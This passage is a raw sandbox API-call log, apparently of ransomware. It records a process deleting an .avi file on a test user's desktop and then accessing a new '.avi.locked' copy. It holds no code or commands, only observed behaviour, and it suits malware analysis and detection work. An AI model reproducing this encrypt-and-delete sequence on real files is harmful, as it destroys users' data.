QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0127.261] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.261] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.261] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.262] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.262] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.262] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.262] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi\\", lpFilePart=0x0) returned 0x45 [0127.263] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.264] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.264] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.264] CoTaskMemFree (pv=0x8ebb8c8) [0127.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0127.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi"), fInfoLevelId=0x0, lpFileInformation=0x697a384 | out: lpFileInformation=0x697a384*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50616aa0, ftCreationTime.dwHighDateTime=0x1d4a83d, ftLastAccessTime.dwLowDateTime=0xd79c7e50, ftLastAccessTime.dwHighDateTime=0x1d49e1b, ftLastWriteTime.dwLowDateTime=0xd79c7e50, ftLastWriteTime.dwHighDateTime=0x1d49e1b, nFileSizeHigh=0x0, nFileSizeLow=0x16dea)) returned 1 [0127.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.265] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 1 [0127.267] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.267] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x8a00\x42e") returned 0x0 [0127.267] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.267] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.267] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.269] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi.locked")) returned 0x20 [0127.269] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi.locked")) returned 0x20 [0127.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", lpFilePart=0x0) returned 0x4b [0127.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", lpFilePart=0x0) returned 0x4b [0127.269] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.270] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.271] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.271] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.275] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.275] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.278] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.278] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.280] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.281] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.281] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.281] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.284] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.285] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.285] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.285] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.285] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.288] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adcf8) returned 1 [0127.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi.locked"), fInfoLevelId=0x0, lpFileInformation=0x698b9e4 | out: lpFileInformation=0x698b9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1277dd, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf1277dd, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf14d997, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x16e04)) returned 1 [0127.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adcf4) returned 1 [0127.291] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", nBufferLength=0x105, lpBuffer=0x99ad7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", lpFilePart=0x0) returned 0x4b [0127.291] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.291] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add40 | out: lpFileInformation=0x99add40) returned 1 [0127.291] CloseHandle (hObject=0x868) returned 1 [0127.294] GetConsoleOutputCP () returned 0x1b5 [0127.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0127.294] GetConsoleOutputCP () returned 0x1b5 [0127.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae294, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae294) returned 0 [0127.295] GetConsoleOutputCP () returned 0x1b5 [0127.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae270) returned 0 [0127.295] GetConsoleOutputCP () returned 0x1b5 [0127.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae270, dwFlags=0x2 | out: 